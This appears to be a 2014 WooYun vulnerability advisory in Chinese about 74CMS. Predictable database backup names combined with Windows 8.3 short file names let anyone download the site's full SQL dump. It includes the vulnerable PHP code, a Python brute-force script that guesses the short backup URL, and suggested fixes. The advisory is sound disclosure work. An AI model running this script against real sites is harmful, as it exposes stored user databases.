当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2014-59941

漏洞标题: 74CMS设计缺陷导致被脱裤(有服务器环境限制)

相关厂商: 74cms.com

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-05-08 19:00

公开时间: 2014-08-06 19:00

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计缺陷/边界绕过 php源码审核 设计不当导致攻击界面扩大 php源码分析 白盒测试

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-08: 细节已通知厂商并且等待厂商处理中
2014-05-09: 厂商已经确认,细节仅向厂商公开
2014-05-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-03: 细节向核心白帽子及相关领域专家公开
2014-07-13: 细节向普通白帽子公开
2014-07-23: 细节向实习白帽子公开
2014-08-06: 细节向公众公开

简要描述:

~~

详细说明:

首先我们来科普一下windows的短文件名,也就是下面我们要用到的。

http://**.**.**.**/bugs/wooyun-2010-056625

见上面漏洞的科普介绍,这里我们直接利用吧。

74cms的数据库备份如下:

code 区域
//执行备份
elseif($act =='do_backup')
{
check_permissions($_SESSION['admin_purview'],"database");
if (!file_exists("../data/".$backup_dir."/"))adminmsg("备份文件存放目录data/".$backup_dir."不存在!",0);
if (!is_writable("../data/".$backup_dir."/"))adminmsg("备份文件存放目录data/".$backup_dir."不可写!",0);
$limit_size = !empty($_REQUEST['limit_size']) ? intval($_REQUEST['limit_size']) : '2048';
$mysql_type = !empty($_REQUEST['mysql_type']) ? trim($_REQUEST['mysql_type']) : '';
$table_id = !empty($_REQUEST['table_id']) ? intval($_REQUEST['table_id']) : 0;
$file = !empty($_GET['file']) ? trim($_GET['file']) : date("Ymd_", time()) . get_rand_char(5).uniqid();
$num = !empty($_GET['num']) ? intval($_GET['num']) : 1;
$pos = !empty($_GET['pos']) ? intval($_GET['pos']) : 0;
if (!empty($_POST['tables']))
{
$tables = $_POST['tables'];
@file_put_contents("../data/{$backup_dir}/temp.txt", serialize($_POST['tables']));
}
elseif ($_GET['table_id'])
{
$content = file_get_contents("../data/{$backup_dir}/temp.txt");
$tables = unserialize($content);
}
else
{
adminmsg("您没有选择备份的表!",1);
}
$db_version = $db->dbversion();
$sql = '';
$version = QISHI_VERSION;
$add_time = date("Y-m-d H:i:s");
$sql .= "-- 74CMS VERSION:{$version}\r\n".
"-- Mysql VERSION:{$db_version}\r\n".
"-- Create time:{$add_time}\r\n";
$count = count($tables);
for($i = $table_id; $i < $count; $i++)
{
$table = $tables[$i];
if ($pos == 0)
{
$table_sql = write_head($table);
$table_sql = preg_replace('/AUTO_INCREMENT=([0-9]+)(\s+)/', '', $table_sql);
$table_sql1 = substr($table_sql, 0, strrpos($table_sql, ')', 25)+1);
if ($mysql_type == 'mysql40' && $db_version > 4.0)
{
$s = "TYPE=MyISAM;\r\n";
$table_sql = $table_sql1 . $s;
}
elseif($mysql_type == 'mysql41' && $db_version < 4.1)
{
$s = "ENGINE=MyISAM DEFAULT CHARSET=".QISHI_CHARSET.";\r\n";
$table_sql = $table_sql1 . $s;
}
else
{
$table_sql .= ";\r\n";
}
}
$result = $db->query("SELECT * FROM " . $table);
$field_num = $db->num_fields($result);
$row_count = $db->getfirst("SELECT COUNT(*) FROM " . $table);
$j = 0;
while ($row = $db->fetch_array($result, MYSQL_NUM))
{
if ($j < $pos)
{
$j++;
continue;
}
$table_sql .= "INSERT INTO `".$table."` VALUES (";
for($m=0;$m<$field_num;$m++)
{
$table_sql .= "'" .escape_str($row[$m]) . "',";
}
$table_sql = substr($table_sql,0,-1).");\r\n";
if (strlen($sql.$table_sql) >= $limit_size * 1000)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg('备份数据库卷-'.$num.'失败',0);
}
if ($j == $row_count-1)
{
$i++;
}
$link[0]['text'] = "系统将自动继续...";
$link[0]['href'] = "admin_database.php?act=do_backup&limit_size={$limit_size}&mysql_type={$mysql_type}&file={$file}&num=".($num+1)."&table_id={$i}&pos=".$j;
adminmsg('文件'.$file.'_'.$num.'.sql 成功备份。系统将自动继续...',1,$link,true,1);
exit();
}else{
$sql .= $table_sql;
$table_sql = '';
}
$j++;
}
$pos = 0;
if (strlen($sql.$table_sql) >= $limit_size * 1000)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg("备份数据库卷-{$num}失败",0);
}
$link[0]['text'] = "程序将自动继续...";
$link[0]['href'] = "admin_database.php?act=do_backup&limit_size=".$limit_size."&mysql_type=".$mysql_type."&file=".$file."&num=".($num+1)."&table_id=".($i+1);
adminmsg('文件' . $file . '_' . $num.'.sql 成功备份。程序将自动继续...', 1,$link,true,2);
exit();
}
elseif ($i == $count-1)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg('备份数据库卷-{$num}失败');
}
@unlink("../data/{$backup_dir}/temp.txt");
$link[0]['text'] = "查看备份文件";
$link[0]['href'] = "?act=restore";
adminmsg('数据库备份成功',2,$link);
}
elseif ($j == 0)
{
$sql .= $table_sql;
}
}
}



备份的文件名为:

$file = !empty($_GET['file']) ? trim($_GET['file']) : date("Ymd_", time()) . get_rand_char(5).uniqid()

备份的地址为/data/backup/filename.sql

也就是默认情况下数据库备份文件的filename为:

年月日_5位大小写字母+uniqid()_卷的number.sql

例如:20140508_HaHzj536b51968ec34_1.sql



利用windows的短文件名我们可以访问数据库备份文件如下:

20140508_HaHzj536b51968ec34_1.sql == 201405~1.sql

漏洞证明:

1.png



在不知道备份文件名的情况下,我们可以来利用段文件名爆破一下:

code 区域
# -*- coding: UTF-8 -*-
import urllib
from urlparse import urljoin

def run(host):
print "Starting......"
years =["2012","2013","2014"]
months = ["01","02","03","04","05","06","07","08","09","10","11","12"]

for y in range(len(years)):
for i in range(len(months)):
mdhis = months[i]
year = years[y]
url = urljoin(host, "/data/baksql/"+year+mdhis+"~1.sql")
print url
res = urllib.urlopen( url )

if res.getcode() == 200 and len(res.read()) > 0:
print "Success, The Bak Url Is : >>> " + url
break

print "Nothing..."

if __name__ == "__main__":
import sys
host = sys.argv[1]
run(host)



很快得到短文件名:201405~1.sql

2.png

修复方案:

1、如果您是Windows服务器,请将备份文件存到WEB不可访问的位置;

2、将文件名随机长度小于<9,就不会出来短文件名,当然文件名最好是字母随机,而不是数字随机;

3、将文件所放目录进行随机化处理。

4、把备份数据库文件后缀为php,在最前面加一段代码:<?exit('error');?>,使其无法访问此文件。

5、其他

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-09 15:31

厂商回复:

感谢您对骑士的支持!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-08 19:51 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    @xfkxfk 这是我在刷的漏洞啊~我已知道了!

  2. 2014-05-08 20:42 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @U神 ???

登录后才能发表评论,请先 登录